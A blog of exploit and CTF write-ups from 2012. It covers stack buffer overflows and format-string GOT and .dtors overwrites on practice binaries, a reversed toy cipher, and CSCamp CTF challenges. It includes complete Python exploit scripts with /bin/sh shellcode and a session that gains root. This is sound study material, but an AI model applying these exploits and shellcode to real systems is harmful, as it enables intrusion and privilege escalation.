Wednesday, November 28, 2012

Some Random Binaries [0x02]

Stage6 binary takes argv[1] and argv[2] as input. There is couple of strcpy() calls. First call copies argv[1] into stack buffer at [ebp-0x118]. Another strcpy() call copies argv[2] into the address allocated using malloc(). Also there is an infinite loop at the address 0x8048424, which prevents us from taking control of execution by overwriting saved EIP of main function.
   0x80483e2: call   0x80482d0 <strlen@plt>  
   0x80483e7: inc    eax    
   0x80483e8: mov    DWORD PTR [esp],eax
   0x80483eb: call   0x80482c0 <malloc@plt> # allocate memory (strlen(argv[2])+1)
   0x80483f0: mov    DWORD PTR [ebp-0xc],eax # [ebp-0xc]=ret value from malloc()
   0x80483f3: mov    eax,DWORD PTR [ebp+0xc]
   0x80483f6: add    eax,0x4    
   0x80483f9: mov    eax,DWORD PTR [eax]  
   0x80483fb: mov    DWORD PTR [esp+0x4],eax  
   0x80483ff: lea    eax,[ebp-0x118]
   0x8048405: mov    DWORD PTR [esp],eax
   0x8048408: call   0x80482f0 <strcpy@plt> # strcpy([ebp-0x118], argv[1])
   0x804840d: mov    eax,DWORD PTR [ebp+0xc]  
   0x8048410: add    eax,0x8     
   0x8048413: mov    eax,DWORD PTR [eax]     
   0x8048415: mov    DWORD PTR [esp+0x4],eax
   0x8048419: mov    eax,DWORD PTR [ebp-0xc]
   0x804841c: mov    DWORD PTR [esp],eax
   0x804841f: call   0x80482f0 <strcpy@plt> # strcpy(*([ebp-0xc]), argv[2])
   0x8048424: jmp    0x8048424      # infinite loop
To exploit this binary we have to gain control of execution before it reaches 0x8048424. So the idea is to overflow the buffer with argv[1], thus overwriting the pointer at [ebp-0xc]. This way we can control the destination address of 2nd strcpy() call.
We will overwrite [ebp-0xc] with the address of stack, where EIP is saved during the 2nd call to strcpy and argv[2] will be the address of the shellcode. Thus strcpy() will return into our shellcode.
Core was generated by `./stage6 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'.
Program terminated with signal 11, Segmentation fault.
#0  *__GI_strcpy (dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbfffffa6 "\254\377\377\277") at strcpy.c:40
40 strcpy.c: No such file or directory.
 in strcpy.c
(gdb) info frame 0
Stack frame at 0xbffffbd0:
 eip = 0xb7f09df4 in *__GI_strcpy (strcpy.c:40); saved eip 0x8048424
 called by frame at 0xbffffd00
 source language c.
 Arglist at 0xbffffbc8, args: dest=0x41414141 <Address 0x41414141 out of bounds>, src=0xbfffffa6 "\254\377\377\277"
 Locals at 0xbffffbc8, Previous frame's sp is 0xbffffbd0
 Saved registers:
  ebp at 0xbffffbc8, esi at 0xbffffbc0, edi at 0xbffffbc4, eip at 0xbffffbcc
As we can see, EIP is saved at 0xbffffbcc during the call to strcpy(). So here is the final exploit.
#!/usr/include/env python

import os
import struct

# msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'
shellcode = ( "\xdb\xc3\xd9\x74\x24\xf4\xb8\xf1\x42\x8b\x05\x5b\x33\xc9" +
              "\xb1\x0b\x31\x43\x1a\x03\x43\x1a\x83\xc3\x04\xe2\x04\x28" +
              "\x80\x5d\x7f\xff\xf0\x35\x52\x63\x74\x22\xc4\x4c\xf5\xc5" +
              "\x14\xfb\xd6\x77\x7d\x95\xa1\x9b\x2f\x81\xba\x5b\xcf\x51" +
              "\x94\x39\xa6\x3f\xc5\xce\x50\xc0\x4e\x62\x29\x21\xbd\x04" )

vuln = "./stage6"
addr = 0xc0000000 - 0x4 - len(vuln) - len(shellcode) -0x2
env = {"":shellcode}

# os.execve(vuln,[vuln,"A"*272,struct.pack("<I",addr)],env)
# info frame 0 : saved EIP at 0xbffffbcc

saved_eip = 0xbffffbcc
os.execve(vuln,[vuln,struct.pack("<I",0xbffffbcc)*68,struct.pack("<I",addr)],env)
Stage7 [Buffer Overflow & Format string]
The stage7 binary copies data into [ebp-0x118] using strcpy() resulting in buffer overflow. But there is loop at 0x8048436, which checks if [ebp-0xa] is NUL. This prevents us from taking control of execution using saved EIP.
   0x80483d7: mov    WORD PTR [ebp-0xa],0x0  # [ebp-0xa] = 0
   0x80483dd: mov    DWORD PTR [esp],0x4   
   0x80483e4: call   0x80482c0 <malloc@plt> # malloc(4)
   0x80483e9: mov    DWORD PTR [ebp-0x10],eax  # [ebp-0x10]=ret by malloc(4)
   0x80483ec: mov    eax,DWORD PTR [ebp+0xc]   
   0x80483ef: add    eax,0x4
   0x80483f2: mov    eax,DWORD PTR [eax]   
   0x80483f4: mov    DWORD PTR [esp+0x4],eax  
   0x80483f8: lea    eax,[ebp-0x118]
   0x80483fe: mov    DWORD PTR [esp],eax
   0x8048401: call   0x80482f0 <strcpy@plt> # strcpy([ebp-0x118], argv[1])
   0x8048406: mov    eax,DWORD PTR [ebp-0x10]   
   0x8048409: mov    DWORD PTR [esp+0x8],eax
   0x804840d: lea    eax,[ebp-0x118]
   0x8048413: mov    DWORD PTR [esp+0x4],eax
   0x8048417: mov    DWORD PTR [esp],0x8048554
   0x804841e: call   0x80482e0 <printf@plt> # printf("%s%hn\n",[ebp-0x118],*[ebp-0x10])
   0x8048423: lea    eax,[ebp-0xa]
   0x8048426: mov    DWORD PTR [esp+0x4],eax
   0x804842a: mov    DWORD PTR [esp],0x804855b
   0x8048431: call   0x80482e0 <printf@plt> # printf("0x%08x\n", [ebp-0xa])
   0x8048436: cmp    WORD PTR [ebp-0xa],0x0  # check for NUL
   0x804843b: jne    0x8048436    # loops here
The idea to exploit this binary is to overwrite the Global Offset Table entry for printf function. First we will use strcpy() to overwrite the saved pointer at [ebp-0x10]. Then we will use the 1st call to printf to perform a 2 byte overwrite of printf's GOT entry. We will overwrite the higher 2 bytes with 0xbfff. When 2nd call to printf is made, execution is pointed to 0xbfffXXXX instead of libc. Thus we can bypass the NUL byte check at 0x8048436. Here is the exploit:
#!/usr/bin/env python
# stage7.py

import struct
import os

shellcode = ("\xda\xc4\xd9\x74\x24\xf4\xb8\x42\xa5\xe8\x6e\x5b\x2b\xc9" +
             "\xb1\x0b\x31\x43\x1a\x03\x43\x1a\x83\xeb\xfc\xe2\xb7\xcf" +
             "\xe3\x36\xae\x42\x92\xae\xfd\x01\xd3\xc8\x95\xea\x90\x7e" +
             "\x65\x9d\x79\x1d\x0c\x33\x0f\x02\x9c\x23\x07\xc5\x20\xb4" +
             "\x37\xa7\x49\xda\x68\x54\xe1\x22\x20\xc9\x78\xc3\x03\x6d" )

printf_got = 0x08049664  # 0xb7eddf90
addr = 0xbfffdf90  # GOT entry after overwrite of higher bytes

payload = struct.pack("<I",printf_got+2) * 12287 + "PAD" # 0xbfff bytes
vuln = "./stage7"
shift = (0xc0000000 - 0x4 - len(vuln) - 0x2) - addr
env = {"":"A" * shift + shellcode}

os.execve(vuln,[vuln,payload],env)
Stage8 [Format String]
The stage8 binary has format string vulnerability. We will use this bug to overwrite the dtors as we did in stage3. There is parameter deficiency in the call to snprintf(). This is what the binary does
snprintf([ebp-0x100],256, "%s%c%c%hn", argv[1])
%hn actually points into data written using argv[1]. So we can give any address as input and perform a 2 byte write. I choose to overwrite tail of dtor with 0xbfff, making it point to 0xbfff0000. Here is the exploit:
#!/usr/bin/env python
# stage8.py

import os
import struct

shellcode = ("\xd9\xf6\xd9\x74\x24\xf4\xbe\x5c\x5d\xf3\x25\x58\x29\xc9" +
             "\xb1\x0b\x31\x70\x1a\x03\x70\x1a\x83\xc0\x04\xe2\xa9\x37" +
             "\xf8\x7d\xc8\x9a\x98\x15\xc7\x79\xec\x01\x7f\x51\x9d\xa5" +
             "\x7f\xc5\x4e\x54\x16\x7b\x18\x7b\xba\x6b\x12\x7c\x3a\x6c" +
             "\x0c\x1e\x53\x02\x7d\xad\xcb\xda\xd6\x02\x82\x3a\x15\x24" )

vuln = "./stage8"
dtor = 0x8049668
addr = 0xbfff0000
shift = 0xc0000000 - 0x4 - len(vuln) - 0x2 - addr
arg = struct.pack("<I",dtor+2) * 12287 + "A"   # 0xbffd bytes

env = {"":"A"*shift + shellcode}
os.execve(vuln,[vuln,arg],env)
I couldnt figure out the vulnerability in stage9 and exploit for stage10. Will post it when I solve them.

Some Random Binaries [0x01]

During my free time I worked with some old binaries from here. All the binaries are 32-bit executable, stripped and had no modern day protection. I used a OS running 2.6.32 kernel with ASLR disabled.

Stage2 [Buffer Overflow]
stage2 binary copies argv[1] into [ebp-0x64] using strcpy. 108 bytes will overwrite saved EIP. We overwrite it with the address of shellcode and gain control of execution.
   0x804842d: lea    eax,[ebp-0x64]
   0x8048430: push   eax
   0x8048431: call   0x8048330 <strcpy@plt>
Here is the exploit:
#!/usr/bin/env python
# stage2.py

import os
import struct

#  msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'

shellcode = ("\xba\xc2\xdd\xe1\xd7\xda\xd9\xd9\x74\x24\xf4\x5e\x33\xc9" +
             "\xb1\x0b\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2\x37\xb7" +
             "\xea\x8f\x2e\x1a\x8b\x47\x7d\xf8\xda\x7f\x15\xd1\xaf\x17" +
             "\xe5\x45\x7f\x8a\x8c\xfb\xf6\xa9\x1c\xec\x01\x2e\xa0\xec" +
             "\x3e\x4c\xc9\x82\x6f\xe3\x61\x5b\x27\x50\xf8\xba\x0a\xd6" )

vul = "./stage2"
env = {"":shellcode}
retaddr = 0xc0000000 - 0x4 - len(vul) - len(shellcode) - 0x2
arg = "A"*104 + struct.pack("<I",retaddr)

os.execve(vul,[vul,arg],env)
Stage3 [Format string - dtors overwrite]
stage3 binary passes argv[1] string directly to printf() resulting in format string vulnerability.
   0x8048364: push   ebp
   0x8048365: mov    ebp,esp
   0x8048367: sub    esp,0x8
   0x804836a: mov    eax,DWORD PTR [ebp+0x8]
   0x804836d: mov    DWORD PTR [esp],eax
   0x8048370: call   0x8048288 <printf@plt> 
After finding the offset at which format string in located in stack, I choose to overwrite the dtors with the address of shellcode. Here is the exploit.
#!/usr/bin/env python
# stage3.py

import os
import struct

#  msfvenom -p linux/x86/exec CMD=/bin/sh -a x86 -b '\x00'

shellcode = ("\xba\xc2\xdd\xe1\xd7\xda\xd9\xd9\x74\x24\xf4\x5e\x33\xc9" +
             "\xb1\x0b\x31\x56\x15\x83\xee\xfc\x03\x56\x11\xe2\x37\xb7" +
             "\xea\x8f\x2e\x1a\x8b\x47\x7d\xf8\xda\x7f\x15\xd1\xaf\x17" +
             "\xe5\x45\x7f\x8a\x8c\xfb\xf6\xa9\x1c\xec\x01\x2e\xa0\xec" +
             "\x3e\x4c\xc9\x82\x6f\xe3\x61\x5b\x27\x50\xf8\xba\x0a\xd6" )

vuln = "./stage3"
addr = 0xc0000000 - 0x4 -len(vuln) - len(shellcode) - 0x2 #0xABCD
#  objdump -s -j .dtors stage3
dtor = 0x8049598

A = (addr >> 24) & 0xff
B = (addr >> 16) & 0xff
C = (addr >> 8)  & 0xff
D = (addr >> 0)  & 0xff

format = struct.pack("<I",dtor) + struct.pack("<I",dtor+1) + struct.pack("<I",dtor+2) + struct.pack("<I",dtor+3) + "XX%."+ str(D+0x0100-18) +"x%106$n%."+ str(C+0x0100-D) +"x%107$n%." + str(B+0x0100-C) +"x%108$n%."+ str(A+0x0100-B) +"x%109$n"

#format = "AAAABBBBCCCCDDDDXX" + "%.410x%106$n%.339x%107$n%.256x%108$n%.192x%109$n"

env = {"":shellcode}
os.execve(vuln,[vuln,format],env)

$ id              
uid=1001(user) gid=1001(user) groups=1001(user)
$ python stage3.py
��������XX000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000b7ff10400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bffffdd800000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080483970# 
# id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
Stage4 [Buffer Overflow]
stage4 binary has 4 functions with few calls to strncpy() and strncat(). It takes two inputs, argv[1] and HELLOWORLD environment variable. argv[1] string is NUL terminated after 10 bytes but we can overflow the buffer using HELLOWORLD environment variable. Below is the vulnerable function.
   0x8048455: mov    DWORD PTR [ebp-0xc],0x0   # [ebp-0xc] == i = 0
   0x804845c: mov    eax,DWORD PTR [ebp+0x8]   
   0x804845f: mov    DWORD PTR [esp],eax 
   0x8048462: call   0x80483d4    
   0x8048467: mov    eax,DWORD PTR [ebp+0x8]
   0x804846a: mov    DWORD PTR [esp],eax
   0x804846d: call   0x80483f6    
   0x8048472: mov    eax,DWORD PTR [ebp-0xc]   
   0x8048475: add    eax,DWORD PTR [ebp+0x8] # eax = *(i + arg_pointer) # while true:
   0x8048478: cmp    BYTE PTR [eax],0x0    
   0x804847b: jne    0x804847f    # if(eax != NUL)
   0x804847d: jmp    0x804849c
   0x804847f: lea    eax,[ebp-0x88]    
   0x8048485: mov    edx,eax     
   0x8048487: add    edx,DWORD PTR [ebp-0xc]   # edx = addr[ebp-0x88] + i
   0x804848a: mov    eax,DWORD PTR [ebp-0xc]   
   0x804848d: add    eax,DWORD PTR [ebp+0x8]   # eax = *(i + arg_pointer)
   0x8048490: movzx  eax,BYTE PTR [eax]   
   0x8048493: mov    BYTE PTR [edx],al   # *edx = eax
   0x8048495: lea    eax,[ebp-0xc]    
   0x8048498: inc    DWORD PTR [eax]    # i++
   0x804849a: jmp    0x8048472
The function copies the input byte by byte into the buffer [ebp-0x88] using a while loop till NUL byte. A counter which is used as array index is located at [ebp-0xc]. When we overflow the buffer, we have to take care how we overwrite this variable. 125th byte overwrites this counter. Values lesser than the value already present in [ebp-0xc] will cause the program to go into infinite loop. I overwrote the counter with 0x7f which will cause the while loop to skip the next 3 bytes, we are actually jumping over this memory area. This is how the stack will look like after overflow
0xffd730a8: 0x41414141 0x41414141 0x41414141 0x41414141
0xffd730b8: 0x41414141 0x00000090 0x41414141 0x41414141
0xffd730c8: 0x41414141 0x41414141 0xffd734e8 0x00000000
Notice that the buffer is filled with A's skipping the counter variable. Here is the final exploit:
#!/usr/bin/env python
# stage4.py

import os
import struct

shellcode = ( "\xdb\xc3\xd9\x74\x24\xf4\xb8\xf1\x42\x8b\x05\x5b\x33\xc9" +
              "\xb1\x0b\x31\x43\x1a\x03\x43\x1a\x83\xc3\x04\xe2\x04\x28" +
              "\x80\x5d\x7f\xff\xf0\x35\x52\x63\x74\x22\xc4\x4c\xf5\xc5" +
              "\x14\xfb\xd6\x77\x7d\x95\xa1\x9b\x2f\x81\xba\x5b\xcf\x51" +
              "\x94\x39\xa6\x3f\xc5\xce\x50\xc0\x4e\x62\x29\x21\xbd\x04" )

vuln = "./stage4"
addr = 0xc0000000 - 0x4 - len(vuln) - len(shellcode) - 0x2
payload = "A"*124 + struct.pack("B",0x7f) + "PAD" + "A"*12 + struct.pack("<I",addr)
env = {"":shellcode,"HELLOWORLD":payload}
arg = "JUNK"

os.execve(vuln,[vuln,arg],env)
stage5 is very much similar to stage2.

Tuesday, November 13, 2012

Cscamp CTF Quals - Crypto 300 [Team xbios]

Challenge: We received a crypter and a cypher, the aim is to decrypt the cypher and get the original key that is Alphanum and 11 bytes length : Crypter : in attachment Cypher : 7f e7 ff ce 0 98 15 dd 88 fb 6e Also we have found that the crc-Xmodem of the plaintext (key) = 0x8124 PS : If you think you found the right key and doesn't work (a collision), please be sure that the CRC-XMODEM value is equal to 0x8124 before sending us request

We have the crypter which is a ELF 64-bit executable and 11 byte cipher text. First we tried analysing the output giving random inputs and also looked for one to one mapping. But this attempt failed.
[ctf@renorobert Crypto]# file crypt 
crypt: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, not stripped
[ctf@renorobert Crypto]# ./crypt qwerty
your encrypted key is : ce be 56 e6 8a 77 0 0 0 0 0 
[ctf@renorobert Crypto]# cat decipher.py
#!/usr/bin/env python
import subprocess

crypter = "./crypt"
data = ''
for i in range(32,127):
    var = chr(i)
    data = var+': '+subprocess.check_output((crypter,var))
    print data

[ctf@renorobert Crypto]# python decipher.py | grep 7f
S: your encrypted key is : 7f 0 0 0 0 0 0 0 0 0 0 
T: your encrypted key is : 7f 0 0 0 0 0 0 0 0 0 0 
m: your encrypted key is : 7f 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep e7
h: your encrypted key is : e7 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep ff
1: your encrypted key is : ff 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep ce
I: your encrypted key is : ce 0 0 0 0 0 0 0 0 0 0 
q: your encrypted key is : ce 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep ': 0'
s: your encrypted key is : 0 0 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Crypto]# python decipher.py | grep 98
[ctf@renorobert Crypto]# python decipher.py | grep 15
[ctf@renorobert Crypto]# python decipher.py | grep dd
Then we decided to look more into the binary to understand what's really happening. After some analysis and reversing we wrote the python version of the crypter.
#!/usr/bin/env python
#crypt.py
import sys

arg_2 = [0x01,0xab,0xbf,0x0e,0x1b,0xc9,0xe6,0x8c,0x4d,0xe5,0x56,0x44,0x2d,0x92,0xe4,0x9e,0xdb,0x50,0xe3,0xed,0x82,0xfa,0xda,0x79,0x1f,0x6e,0xa4,0xfc,0xc5,0xbe,0x66,0xb5,0x78,0xcc,0xc2,0xb3,0xd0,0xb0,0x5c,0xe2,0x9f,0x52,0xa1,0x72,0x35,0x24,0x8e,0xa7,0x5e,0xe8,0x5b,0xc0,0xb2,0x49,0xb6,0xfe,0x09,0x06,0x04,0x20,0x1d,0xf5,0x3f,0x51,0x76,0xd7,0xff,0xf2,0xc1,0x83,0x87,0x28,0x99,0xc4,0x90,0xbd,0xbb,0xd3,0xbc,0xea,0xa2,0xe0,0x81,0xa9,0xdd,0x86,0x94,0x74,0x8f,0x5d,0xd6,0x37,0x2f,0xd2,0x88,0xe7,0x62,0x6c,0x10,0xde,0x7b,0x47,0x17,0xa0,0x97,0x26,0x9a,0xee,0xef,0xa3,0x69,0x0b,0xfd,0x8a,0xac,0x61,0x84,0xb1,0xa8,0xb9,0x7a,0xc7,0x22,0x0a,0xf9,0x68,0xba,0x64,0x32,0x89,0x13,0xb8,0xa5,0x73,0x67,0x6f,0x7d,0x3c,0x48,0x30,0xae,0x2c,0xeb,0x38,0x19,0x75,0xaf,0x41,0x12,0xc8,0x70,0x1e,0x29,0x45,0x7e,0x9d,0x43,0x7f,0x65,0x3a,0x08,0xe1,0x2a,0x60,0xcf,0x36,0x31,0x5f,0x85,0x23,0x4e,0x2b,0x18,0xfb,0x5a,0x80,0x77,0x8b,0x7c,0xa6,0x93,0x34,0x46,0xcb,0xdc,0xe9,0xf0,0x0c,0x8d,0x42,0x14,0x59,0x40,0xd9,0xd4,0x4b,0x6a,0x11,0x16,0x6b,0x0d,0x4a,0xcd,0x53,0x54,0x96,0x07,0x9c,0xf8,0x55,0x71,0xf7,0xd8,0x4f,0x3b,0xce,0x39,0xec,0xd1,0x3e,0x03,0xf1,0x25,0xd5,0x58,0x2e,0x3d,0x00,0x05,0xaa,0xb7,0x98,0xdf,0x02,0x57,0x9b,0xb4,0x95,0x33,0x91,0x21,0x27,0x15,0x4c,0x1a,0x6d,0xf6,0xf3,0xca,0xc3,0x1c,0x0f,0xc6,0xf4,0xad,0x63]

def encrypt(arg_1,arg_2):
    match = 0
    var_2 = 0
    var_3 = 0
    while 1:
        if len(arg_1) > var_3:
            for var_4 in range(256):
                edx = arg_1[var_3]
                eax = arg_2[var_4]
                if eax == edx:
                    match = 1
                    var_5 = var_4
            if match == 1:
                comp = arg_1[var_3] ^ var_5
                arg_1[var_2] = comp
                var_2 += 1
                match  = 0
                var_3 += 1
                if comp == 0:   # Effect of string length calculation
                    return arg_1
            else:
                var_3 += 1
       else:
           return arg_1

arg_1 = []
plain = sys.argv[1]
for i in plain:
    arg_1.append(ord(i))
r1 = encrypt(arg_1, arg_2)
r2 = encrypt(r1, arg_2)
for k in r2:
    sys.stdout.write(hex(k)+': ')
print ' '
We can see that crypter performs two rounds of operation over the plain text. The collision mentioned is the effect of xor operation. Whenever the xor operation returned 0, the crypter returns with no further operation as string length calculation stops with null byte. Since the cipher was only 11 bytes long, we decided to grep through the results of cipher text for a given plain text.
[ctf@renorobert Brute]# python decipher.py T | grep e7
Th: your encrypted key is : 7f e7 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Brute]# python decipher.py S | grep e7
Sh: your encrypted key is : 7f e7 0 0 0 0 0 0 0 0 0 
[ctf@renorobert Brute]# python decipher.py Th | grep ff
Th1: your encrypted key is : 7f e7 ff 0 0 0 0 0 0 0 0 
[ctf@renorobert Brute]# python decipher.py Th1 | grep ce
Th1I: your encrypted key is : 7f e7 ff ce 0 0 0 0 0 0 0 
Th1q: your encrypted key is : 7f e7 ff ce 0 0 0 0 0 0 0
[ctf@renorobert Brute]# python decipher.py Th1I | grep 'ff ce 0'
Th1Is: your encrypted key is : 7f e7 ff ce 0 0 0 0 0 0 0 
Finally we got the following possible characters [['T','m','S'],'h','1',['I','q'],'s',['m','S','T'],'h','3','K','e',['y','Q']]. This can be easily bruteforced against the CRC-XMODEM value of 0x8124. But we didn't do that, the string "Th1IsTh3Key" made more sense to us. Checking its CRC-XMODEM value, we were right. So the key is Th1IsTh3Key
>>> hex(crc16.crc16xmodem('Th1IsTh3Key'))
'0x8124'

Cscamp CTF Quals - Exploitation 300 [Team xbios]

Exploitation 300 is also a ELF 64-bit LSB executable. Vulnerability is a classic buffer overflow, we have to overwrite saved $rip with the address of cat_key function to print the flag. The binary uses strncpy() to copy data into buffer $rbp-0x110. The vulnerability is that we can control the arguments used by strncpy(), source buffer and the number of bytes to be copied.
   0x00000000004006a6 <+61>: callq  0x400550 <atoi@plt>   // argv[1]
   0x00000000004006ab <+66>: mov    %eax,-0x8(%rbp)       // return value
   0x00000000004006ae <+69>: mov    -0x120(%rbp),%rax
   0x00000000004006b5 <+76>: add    $0x10,%rax
   0x00000000004006b9 <+80>: mov    (%rax),%rax
   0x00000000004006bc <+83>: mov    %rax,%rdi
   0x00000000004006bf <+86>: mov    $0x0,%eax
   0x00000000004006c4 <+91>: callq  0x400550 <atoi@plt>  // argv[2]
   0x00000000004006c9 <+96>: mov    %eax,-0x4(%rbp)      // return value
   0x00000000004006cc <+99>: mov    -0x4(%rbp),%eax
   0x00000000004006cf <+102>: movslq %eax,%rdx
   0x00000000004006d2 <+105>: mov    -0x8(%rbp),%eax      
   0x00000000004006d5 <+108>: cltq   
   0x00000000004006d7 <+110>: shl    $0x3,%rax     // shl by 3 ie %rax * 2^3 ie (%rax = %rax * 8)
   0x00000000004006db <+114>: add    -0x120(%rbp),%rax // points into argv array based on argv[1]
   0x00000000004006e2 <+121>: mov    (%rax),%rcx
   0x00000000004006e5 <+124>: lea    -0x110(%rbp),%rax
   0x00000000004006ec <+131>: mov    %rcx,%rsi
   0x00000000004006ef <+134>: mov    %rax,%rdi
   0x00000000004006f2 <+137>: callq  0x400560 <strncpy@plt>

(gdb) p/x &cat_key
$1 = 0x400654
We need 280 bytes to overwrite saved $rbp and 288 bytes to overwrite saved $rip. Saved $rip is the address of __libc_start_main at address 0x00007fffxxxxxxxx. So this is our final payload
$ /levels/level200/level200 3 286 `python -c 'print "A"*280+"\x54\x06\x40\x00\x00\x00"'`
You entred : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAT @
key is : b9240c45d606dc90d0df83f9818b59cd

Cscamp CTF Quals - Exploitation 200 [Team xbios]

For expliotation 200 we were given a ELF 64-bit LSB executable. The binary takes a password as input, if we get the password right, setuid() and system() functions are called which will eventually print the flag from a file. Disassembly shows a series of movb instruction, writing some value into the stack at address range between $rbp-0x12 to $rbp-0x20
data = [0x64, 0x36, 0x34, 0x38, 0x37, 0x65, 0x36, 0x39, 0x62, 0x65, 0x38, 0x64, 0x38, 0x35, 0x31 ]
Then there is a loop which checks user input, against this value. By reading the value from $rbp-0x20 we get the password. Input the password and get the flag
// This is the loop
   0x0000000000400783 <+177>: movl   $0x0,-0x38(%rbp)
   0x000000000040078a <+184>: jmp    0x4007c0 <main+238>
   0x000000000040078c <+186>: lea    -0x20(%rbp),%rdx
   0x0000000000400790 <+190>: mov    -0x38(%rbp),%eax
   0x0000000000400793 <+193>: cltq   
   0x0000000000400795 <+195>: lea    (%rdx,%rax,1),%rax
   0x0000000000400799 <+199>: movzbl (%rax),%edx
   0x000000000040079c <+202>: lea    -0x30(%rbp),%rcx
   0x00000000004007a0 <+206>: mov    -0x38(%rbp),%eax
   0x00000000004007a3 <+209>: cltq   
   0x00000000004007a5 <+211>: lea    (%rcx,%rax,1),%rax
   0x00000000004007a9 <+215>: movzbl (%rax),%eax
   0x00000000004007ac <+218>: cmp    %al,%dl
   0x00000000004007ae <+220>: je     0x4007bc <main+234>
   0x00000000004007b0 <+222>: mov    $0x400920,%edi
   0x00000000004007b5 <+227>: callq  0x400568 <puts@plt>
   0x00000000004007ba <+232>: jmp    0x4007f5 <main+291>
   0x00000000004007bc <+234>: addl   $0x1,-0x38(%rbp)
   0x00000000004007c0 <+238>: cmpl   $0xf,-0x38(%rbp)
   0x00000000004007c4 <+242>: jle    0x40078c <main+186>

Breakpoint 1, 0x000000000040078c in main ()
(gdb) x/i $rip
=> 0x40078c <main+186>: lea    -0x20(%rbp),%rdx
(gdb) x/s $rbp-0x20
0x7fffffffe060:  "d6487e69be8d851"

$ ./level100 d6487e69be8d851
Congratulation, let me grab you content of key.txt
YOUR KEY IS : e4783253f92332ddb7d30a24cd9d1541